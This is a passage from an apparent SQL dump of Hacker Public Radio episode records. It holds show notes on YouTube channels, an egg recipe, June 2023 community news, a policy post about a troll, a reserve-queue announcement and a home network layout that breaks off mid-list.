class=\"footnote-ref\" id=\"fnref1\" role=\"doc-noteref\"><sup>1</sup></a>). Marty shows how he recovers old abandoned machines like tractors and excavators and puts them to use on his land. They are off-grid and their electricity comes from a turbine he built from an adapted scrap washing machine. I find it fascinating to watch the resourcefulness of the people in this part of the world.</p></li>\n<li><p>Some highlights in the past year:</p>\n<ul>\n<li><em>Salvaging an Abandoned TD9 Bulldozer from the Forest. Will it start??</em></li>\n<li><em>Salvaging an Abandoned Vintage Tractor - David Brown 25</em></li>\n</ul></li>\n<li><p><a href=\"https://www.youtube.com/c/MartyT\" class=\"uri\">https://www.youtube.com/c/MartyT</a></p></li>\n</ul></li>\n<li><p><font size=\"+1\"><b>Jeff Geerling</b></font></p>\n<ul>\n<li><p>Lots of stuff of a technical nature, often involving the Raspberry Pi, but not exclusively.</p></li>\n<li><p>Lots of great projects and ideas to learn from. For example, he has championed the <em>Turing Pi</em> a board which can take multiple Raspberry Pi Compute Modules to form a Pi cluster.</p></li>\n<li><p>Some highlights in the past few months:</p>\n<ul>\n<li><em>Top 10 Raspberry Pi Projects for 2022</em></li>\n<li><em>The Petabyte Pi Project</em></li>\n</ul></li>\n<li><p><a href=\"https://www.youtube.com/c/JeffGeerling\" class=\"uri\">https://www.youtube.com/c/JeffGeerling</a></p></li>\n</ul></li>\n<li><p><font size=\"+1\"><b>Ocean Conservation Namibia</b></font></p>\n<ul>\n<li><p>From the description: <em>Ocean Conservation Namibia is dedicated to the protection of Namibias marine wildlife. OCN was started by Naude and Katja Dreyer in January 2020 to create global awareness of ocean and plastic pollution and its horrible and avoidable impact on animals and specifically seals.</em></p></li>\n<li><p>The team manage to produce a brief daily video where they rescue seals which are entangled in plastic and other items. The seals find these things, such as spools or bundles of fishing line, and tend to play with them, and eventually the loop or spool gets stuck around their neck, which can cut them badly and eventually kill them.</p></li>\n<li><p>Recent highlights have been:</p>\n<ul>\n<li><em>Rescuers Use SAW To Save Baby Seal</em></li>\n<li><em>Hook in Seals Eye Tied To Another Seal!</em></li>\n<li><em>Seal Entangled in Ball of Fishing Line</em></li>\n</ul></li>\n<li><p><a href=\"https://www.youtube.com/c/OceanConservationNamibia\" class=\"uri\">https://www.youtube.com/c/OceanConservationNamibia</a></p></li>\n</ul></li>\n</ol>\n<p>I hope you find these channels interesting and useful yourself.</p>\n<h2 id=\"links\">Links</h2>\n<ul>\n<li><p><a href=\"https://www.ipcc.ch/\">IPCC</a>: The Intergovernmental Panel on Climate Change (IPCC) is the United Nations body for assessing the science related to climate change.</p></li>\n<li><p><a href=\"https://en.wikipedia.org/wiki/Richard_D._Wolff\">Richard D. Wolff</a>: Wikipedia page</p></li>\n<li><p><a href=\"https://en.wikipedia.org/wiki/David_Harvey\">David W. Harvey</a>: Wikipedia page</p></li>\n<li><p><a href=\"https://en.wikipedia.org/wiki/Marlborough_Sounds\">Marlborough sounds, New Zealand</a>: Wikipedia page</p></li>\n<li><p><a href=\"https://en.wikipedia.org/wiki/Fur_seal\">Fur seals</a>: Wikipedia page</p></li>\n</ul>\n<section class=\"footnotes\" role=\"doc-endnotes\">\n<hr />\n<ol>\n<li id=\"fn1\" role=\"doc-endnote\"><p>In the audio I said Marlborough Sounds was in the North West of the South Island of NZ, but in fact its in the North East. See the Wikipedia article for more information.<a href=\"#fnref1\" class=\"footnote-back\" role=\"doc-backlink\">↩︎</a></p></li>\n</ol>\n</section>\n</article>\n',225,106,1,'CC-BY-SA','YouTube,channel',0,0,1),
(3607,'2022-05-31','The Best Eggs in the World',799,'Emergency Show: The Best Eggs in the World','<h3>This is an Emergency show</h3>\r\n<p>\r\nThis show is from the emergency show pool.<br />\r\nYou are hearing this because there was a free slot that was not filled.<br />\r\nHacker Public Radio is a community effort, that will only continue if people like you submit shows.<br />\r\nIf you have not submitted a show this year, then please record an introduction about yourself, and how you got into tech.<br />\r\nThen post it to, Hacker Public Radio dot org forward slash, upload.\r\n</p>\r\n<h2>The Best Eggs in the World</h2>\r\n<p>\r\nToday\'s show is brought to you by pokey\r\n</p>\r\n<ul>\r\n<li>1/6 large onion</li>\r\n<li>3-5 medium mushrooms</li>\r\n<li>2 eggs</li>\r\n<li>1-2 slices of cheese</li>\r\n<li>2 pieces of toast</li>\r\n<li>Garlic Powder, Salt, Pepper, butter to taste.</li>\r\n</ul>\r\n\r\n<p>\r\nIf you have comments, please leave them in the comments section for the show here at https://hackerpublicradio.org\r\nIf you had submitted a real episode of HPR, you wouldn\'t have found this in your feed today. :-P\r\n</p>\r\n',128,93,0,'CC-BY-SA','Emergency Show,Eggs,Cooking',0,0,1),
(3613,'2022-06-08','Man buys cheap Adirondack chair',453,'An anecdote about buying a cheap lawn chair and trying to get a part replaced.','<p>Part C (left front leg), one 30cm piece of unfinished fir, with a sort of fan-shaped piece attached with 2 screws, is duly replaced. The customer has been served. The prize is a wobbly chair and, in a few months time, some firewood. What we learned? I\'ll build my own chair next time.</p>\n',399,0,0,'CC-BY-SA','\"late capitalism\"',0,0,1),
(3891,'2023-07-03','HPR Community News for June 2023',6145,'HPR Volunteers talk about shows released and comments posted in June 2023','<style>\ntable td.shrink {\n white-space:nowrap\n}\nhr.thin {\n border: 0;\n height: 0;\n border-top: 1px solid rgba(0, 0, 0, 0.1);\n border-bottom: 1px solid rgba(255, 255, 255, 0.3);\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nThere were no new hosts this month.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3869/index.html\" target=\"_blank\">3869</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-06-01</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3869/index.html\" target=\"_blank\">5 minute war game</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0078.html\" target=\"_blank\">Klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3870/index.html\" target=\"_blank\">3870</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-06-02</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3870/index.html\" target=\"_blank\">Texas</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3871/index.html\" target=\"_blank\">3871</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-06-05</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3871/index.html\" target=\"_blank\">HPR Community News for May 2023</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0159.html\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3872/index.html\" target=\"_blank\">3872</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-06-06</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3872/index.html\" target=\"_blank\">Sgoti update with replies.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3873/index.html\" target=\"_blank\">3873</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-06-07</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3873/index.html\" target=\"_blank\">Nextcloud instance updating</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0273.html\" target=\"_blank\">ToeJet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3874/index.html\" target=\"_blank\">3874</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-06-08</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3874/index.html\" target=\"_blank\">2022-2023 New Years Show Episode 9</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0159.html\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3875/index.html\" target=\"_blank\">3875</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-06-09</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3875/index.html\" target=\"_blank\">Parlons Linux Season 1 Episode 7, le sticky bit</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0030.html\" target=\"_blank\">Ken Fallon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3876/index.html\" target=\"_blank\">3876</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-06-12</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3876/index.html\" target=\"_blank\">Recording An Episode For Hacker Public Radio</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0419.html\" target=\"_blank\">Ryuno-Ki</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3877/index.html\" target=\"_blank\">3877</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-06-13</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3877/index.html\" target=\"_blank\">KeePass X.C. audit review.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3878/index.html\" target=\"_blank\">3878</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-06-14</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3878/index.html\" target=\"_blank\">Linux commands to gather information about your system</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0129.html\" target=\"_blank\">JWP</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3879/index.html\" target=\"_blank\">3879</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-06-15</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3879/index.html\" target=\"_blank\">HPR at Hillend</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0225.html\" target=\"_blank\">Dave Morriss</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3880/index.html\" target=\"_blank\">3880</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-06-16</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3880/index.html\" target=\"_blank\">Installing a Google Nest Thermostat</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3881/index.html\" target=\"_blank\">3881</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-06-19</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3881/index.html\" target=\"_blank\">Xplane_VatSim_2022</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0036.html\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3882/index.html\" target=\"_blank\">3882</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-06-20</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3882/index.html\" target=\"_blank\">Alternatives to the cd command</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0078.html\" target=\"_blank\">Klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3883/index.html\" target=\"_blank\">3883</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-06-21</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3883/index.html\" target=\"_blank\">Emergency Show: How to demonstrate the power of condensing steam</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0282.html\" target=\"_blank\">Mike Ray</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3884/index.html\" target=\"_blank\">3884</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-06-22</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3884/index.html\" target=\"_blank\">2022-2023 New Years Show Episode 10</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0159.html\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3885/index.html\" target=\"_blank\">3885</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-06-23</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3885/index.html\" target=\"_blank\">L\'apéro des Papas Manchots podcast, Rencontre avec le vétérinaire du Libre</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0030.html\" target=\"_blank\">Ken Fallon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3886/index.html\" target=\"_blank\">3886</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-06-26</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3886/index.html\" target=\"_blank\">light saber zzz ohh no!</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0036.html\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3887/index.html\" target=\"_blank\">3887</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-06-27</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3887/index.html\" target=\"_blank\">10 must-know commands for a new cloud admin</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0078.html\" target=\"_blank\">Klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3888/index.html\" target=\"_blank\">3888</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-06-28</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3888/index.html\" target=\"_blank\">KeePassXC recent CVE</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3889/index.html\" target=\"_blank\">3889</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-06-29</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3889/index.html\" target=\"_blank\">comm - compare two sorted files line by line</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0030.html\" target=\"_blank\">Ken Fallon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3890/index.html\" target=\"_blank\">3890</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-06-30</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3890/index.html\" target=\"_blank\">Lessons Learned</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 6 comments in total.</p>\n\n<h3>This month\'s shows</h3>\n<p>There are 6 comments on 6 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3871/index.html#comments\" target=\"_blank\">hpr3871</a></strong>\n(2023-06-05) \"<em>HPR Community News for May 2023</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0159.html\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3871/index.html#1\" target=\"_blank\">Comment 1</a>:\nMechatroniac on 2023-06-10:\n\"hpr3816\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3872/index.html#comments\" target=\"_blank\">hpr3872</a></strong>\n(2023-06-06) \"<em>Sgoti update with replies.</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3872/index.html#1\" target=\"_blank\">Comment 1</a>:\nKevin O&#39;Brien on 2023-06-08:\n\"I\'m glad you are enjoying my shows\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3878/index.html#comments\" target=\"_blank\">hpr3878</a></strong>\n(2023-06-14) \"<em>Linux commands to gather information about your system</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0129.html\" target=\"_blank\">JWP</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3878/index.html#1\" target=\"_blank\">Comment 1</a>:\nfoky on 2023-06-15:\n\"one command to get them all\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3879/index.html#comments\" target=\"_blank\">hpr3879</a></strong>\n(2023-06-15) \"<em>HPR at Hillend</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0225.html\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3879/index.html#1\" target=\"_blank\">Comment 1</a>:\nKevin O&#39;Brien on 2023-06-22:\n\"Dr. Campbell\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3880/index.html#comments\" target=\"_blank\">hpr3880</a></strong>\n(2023-06-16) \"<em>Installing a Google Nest Thermostat</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3880/index.html#1\" target=\"_blank\">Comment 1</a>:\nKevin O&#39;Brien on 2023-06-22:\n\"Addendum\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3884/index.html#comments\" target=\"_blank\">hpr3884</a></strong>\n(2023-06-22) \"<em>2022-2023 New Years Show Episode 10</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0159.html\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3884/index.html#1\" target=\"_blank\">Comment 1</a>:\nKevin O&#39;Brien on 2023-06-24:\n\"PIN Story\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2023-June/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2023-June/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h2 id=\"relocation-of-the-hpr-site\">Relocation of the HPR site</h2>\n<p>A lot of work has gone into relocating HPR to a new server as well as\nmigrating to a static site. There is still work to do.</p>\n<ul>\n<li>The main database has been moved from\n<code>anhonesthost.com</code></li>\n<li>The static site generator written by <code>Rho`n</code> is being\nused to generate the entire new website (with a few exceptions).</li>\n<li>The remaining dynamic features (e.g. show submission and comment\nentry) are provided by a PHP interface</li>\n<li>There are outstanding issues with email on the server so at the\nmoment show submission needs manual intervention from the Janitors.</li>\n<li>The <code>hpr</code> mailing list is not working at present</li>\n<li>The way in which new shows are processed has had to be changed and\nshows containing pictures are not yet being rendered properly</li>\n</ul>\n<!--\nvim: syntax=pandoc:ts=8:sw=4:tw=0:noet:ai:\n-->\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3615,'2022-06-10','I am a troll and I\'m trolling HPR, trolling HPR, trolling HPR.',1608,'We got trolled and what we\'re going to do about it.','<p>In today\'s show Dave and I will read out the mail list thread we didn\'t cover in the Community News.</p>\n<p>Before we get to that, I wanted to inform you that we now know that the host in question was deliberately trolling HPR.</p>\n<p>I know this because they told me, and when I asked them to stop they went on to explain that they are a gadfly. I had to look that one up.</p>\n<p>Whatever they claim to be, the end effect for us is trolling.</p>\n<p>Both Josh and Myself have had some unnecessary stressful weeks for someone\'s idea of a joke.</p>\n<p>That said there have been some positives about this as well.</p>\n<p>Again we see the HPR community at its best in providing support and reasoned arguments.</p>\n<p>We have identified a possible loop hole in governance, that has been addressed by having a special advisory committee aka the auditor team of volunteers.</p>\n<p>And when we come up with a way of dealing with troll issues, we also get a mechanism to deal with DMCA take down requests, and other complaints.</p>\n<p>So what do we do with a troll ? Easy, just ignore them, or to put it another way \"Stay Calm and Go On\".</p>\n<p>This works well for comments but its not enough when the tactic is deliberate targeting of HPR.</p>\n<p>A lot of effort has gone into this attack:</p>\n<ul>\n<li>First they built trust by posting technical shows. This is a similar tactic that we see spammers use.</li>\n<li>Then they submitted a series of shows that would cause HPR legal issues.</li>\n<li>They then did not respond to questions, presumably in the hope that we would delete the shows ourselves.</li>\n</ul>\n<p>By moving the shows out to later in the queue we were able to avoid claims of \"censorship\", and they eventually removed the problem shows of their own accord.</p>\n<p>So what attack vector will be used next, and how will we deal with it ?</p>\n<p>I have no idea, but how to deal with it is also not so easy. We\'ll have to cross that bridge when we come to it.</p>\n<p>We do however need to tackle the risky situation of having problem content available on the website.</p>\n<p>So I suggest that we continue to post the shows as normal, if we get a complaint then the Janitors will contact the host as normal.</p>\n<p>Should they be unavailable, uncooperative, or disagree, then the Janitors can either move the show to the backup queue, or hide it depending on the severity of the complaint.</p>\n<p>In all cases we\'ll keep the special advisory committee aka the auditor team of volunteers in the loop to make sure all is above board.</p>\n<p>The community can then decide on the best course of action.</p>\n<p>So therefore I would like to propose the following changes to our policies.</p>\n<p>Both relate to <a href=\"https://hackerpublicradio.org/stuff_you_need_to_know.php#not_moderated\" class=\"uri\">https://hackerpublicradio.org/stuff_you_need_to_know.php#not_moderated</a></p>\n<p>Currently: \"We do not vet, edit, moderate or in any way censor any of the audio you submit, we trust you to do that.\"</p>\n<p>Proposed: \"We do not vet, edit, moderate or in any way censor any of the audio you submit, we trust you not to upload anything that will harm HPR.\"</p>\n<p>Add the line: \"Any material that is reported as harming HPR may be unlisted until such a time as the situation can be resolved.\"</p>\n',30,0,1,'CC-BY-SA','troll, policy change',0,0,1),
(3616,'2022-06-13','Filling free Slots from the Reserve Queue',899,'You can now submit shows to the Reserve Queue for when free slots are not filled on time.','<p>\nIn today\'s show the Janitors discuss how the erratic feast/famine nature of the queue may be helped by filling free slots in the main feed from a reserve queue.\n</p>\n<p>\nThe current Emergency Queue would be renamed to the Reserve Queue.<br />\nIf a free slot in the calendar is not filled in time, then a show will be used from the Reserve Queue.<br />\nShows will be taken from the Reserve Queue on a first in first out basis.<br />\nHosts can either schedule a show for a particular slot or have their shows added to the Reserve Queue.<br />\nEventually we will we work on a dedicated upload option, but for now hosts can pick a random slot and just make a note in the show notes that the show is intended for the Reserve Queue.<br />\n</p>\n',225,0,1,'CC-BY-SA','HPR Scheduling, Queue, Reserve Queue',0,0,1),
(3622,'2022-06-21','My Network Setup.',1355,'How I\'ve Constructed My Home Network.','<h1 id=\"sgotis-network-documentation\">Sgoti\'s Network Documentation.</h1>\n<h2 id=\"device-list\">Device List.</h2>\n<ul>\n<li>Device01, <a href=\"https://www.amazon.com/gp/product/B08QTXNWZ1/ref=ppx_yo_dt_b_asin_title_o03_s00?ie=UTF8&amp;psc=1\">TP-Link ER605</a></li>\n<li>Device02, <a href=\"https://www.amazon.com/gp/product/B0141JX92G/ref=ppx_yo_dt_b_asin_title_o03_s00?ie=UTF8&amp;psc=1\">TP-Link TL-SG2210P V3</a></li>\n<li>Device03, <a href=\"https://www.amazon.com/gp/product/B08PW34WPX/ref=ppx_yo_dt_b_asin_title_o03_s00?ie=UTF8&amp;psc=1\">TP-Link EAP660 HD</a></li>\n<li>Device04, <a href=\"https://www.amazon.com/gp/product/B07GX6GVB6/ref=ppx_yo_dt_b_asin_title_o03_s00?ie=UTF8&amp;psc=1\">TP-Link Omada Hardware Controller</a></li>\n</ul>\n<h2 id=\"client-list\">Client List.</h2>\n<ul>\n<li>Client01, SGOTI\n<ul>\n<li>MAC Address: 00-00-00-00-00-00</li>\n</ul></li>\n<li>Client02, SGOTI\n<ul>\n<li>MAC Address: 00-00-00-00-00-00</li>\n</ul></li>\n<li>Client03, SGOTI\n<ul>\n<li>MAC Address: 00-00-00-00-00-00</li>\n</ul></li>\n<li>Client04, USER\n<ul>\n<li>MAC Address: 00-00-00-00-00-00</li>\n</ul></li>\n<li>Client05, USER\n<ul>\n<li>MAC Address: 00-00-00-00-00-00</li>\n</ul></li>\n<li>Client06, USER\n<ul>\n<li>MAC Address: 00-00-00-00-00-00</li>\n</ul></li>\n<li>Client07, USER\n<ul>\n<li>MAC Address: 00-00-00-00-00-00</li>\n</ul></li>\n<li>Client08, USER\n<ul>\n<li>MAC Address: 00-00-00-00-00-00</li>\n</ul></li>\n</ul>\n<h2 id=\"server-list\">Server List.</h2>\n<ul>\n<li>Server01, SGOTI@HQBAK\n<ul>\n<li>AMD x86 FX w/ 1 SATA III 2.5\" Seagate 240Gig</li>\n<li>2 SATA III 3.5\" Western Digital Red 8TB</li>\n</ul></li>\n<li>Server02, NASPi\n<ul>\n<li>Pi4 model B, 8Gig, Geekworm NASPi w/ SATA III 2.5\" 1TB</li>\n</ul></li>\n<li>Server03, ArgonOne\n<ul>\n<li>Pi4 model B, 8Gig, ArgonOne w/ m.2 Western Digital Blue 500Gig</li>\n</ul></li>\n<li>Server04, DEVPi\n<ul>\n<li>Pi4 model B, 4Gig</li>\n</ul></li>\n<li>Server05, ZeroHero01\n<ul>\n<li>Pi Zero 2 W w/ microSD 128Gig</li>\n</ul></li>\n</ul>\n<h2 id=\"lan\">LAN.</h2>\n<ul>\n<li>VLAN: NUMBERS</li>\n<li>IP Block: 192.168.0.1/24</li>\n<li>Subnet Mask: 255.255.255.0</li>\n<li>Gateway: 192.168.0.1</li>\n<li>Broadcast: 192.168.0.255</li>\n<li>Group01: DEVICES\n<ul>\n<li>192.168.0.02, Device02</li>\n<li>192.168.0.03, Device03</li>\n<li>192.168.0.04, Device04</li>\n<li>192.168.0.05</li>\n<li>192.168.0.06</li>\n<li>192.168.0.07</li>\n<li>192.168.0.08</li>\n<li>192.168.0.09</li>\n</ul></li>\n<li>Group02: SGOTI\n<ul>\n<li>192.168.0.10, Client01</li>\n<li>192.168.0.11</li>\n</ul></li>\n<li>Group03: DHCP\n<ul>\n<li>192.168.0.12</li>\n<li>192.168.0.13</li>\n<li>192.168.0.14</li>\n<li>192.168.0.15</li>\n</ul></li>\n</ul>\n<h2 id=\"resistance-network\">Resistance Network.</h2>\n<ul>\n<li>VLAN: NUMBERS</li>\n<li>IP Block: 192.168.2.1/27</li>\n<li>Subnet Mask: 255.255.255.224</li>\n<li>Gateway: 192.168.2.1</li>\n<li>Broadcast: 192.168.2.31</li>\n<li>Group01: SGOTI\n<ul>\n<li>192.168.2.02</li>\n<li>192.168.2.03</li>\n<li>192.168.2.04</li>\n<li>192.168.2.05</li>\n<li>192.168.2.06</li>\n</ul></li>\n<li>Group02: USER\n<ul>\n<li>192.168.2.07</li>\n<li>192.168.2.08</li>\n<li>192.168.2.09</li>\n<li>192.168.2.10</li>\n<li>192.168.2.11</li>\n</ul></li>\n<li>Group03: USER\n<ul>\n<li>192.168.2.12</li>\n<li>192.168.2.13</li>\n<li>192.168.2.14</li>\n<li>192.168.2.15</li>\n<li>192.168.2.16</li>\n</ul></li>\n<li>Group04: USER\n<ul>\n<li>192.168.2.17</li>\n<li>192.168.2.18</li>\n<li>192.168.2.19</li>\n<li>192.168.2.20</li>\n<li>192.168.2.21</li>\n</ul></li>\n<li>Group04: SERVERS\n<ul>\n<li>192.168.2.22</li>\n<li>192.168.2.23</li>\n<li>192.168.2.24</li>\n<li>192.168.2.25</li>\n<li>192.168.2.26</li>\n</ul></li>\n<li>Group05: DHCP\n<ul>\n<li>192.168.2.27</li>\n<li>192.168.2.28</li>\n<li>192.168.2.29</li>\n<li>192.168.2.30</li>\n</ul></li>\n</ul>\n<h2 id=\"t100-network\">T100 Network.</h2>\n<ul>\n<li>VLAN: NUMBERS</li>\n<li>IP Block: 192.168.3.1/27</li>\n<li>Subnet Mask: 255.255.255.224</li>\n<li>Gateway: 192.168.3.1</li>\n<li>Broadcast: 192.168.3.31</li>\n<li>Group01: SGOTI\n<ul>\n<li>192.168.3.02</li>\n<li>192.168.3.03</li>\n<li>192.168.3.04</li>\n<li>192.168.3.05</li>\n<li>192.168.3.06</li>\n</ul></li>\n<li>Group02: 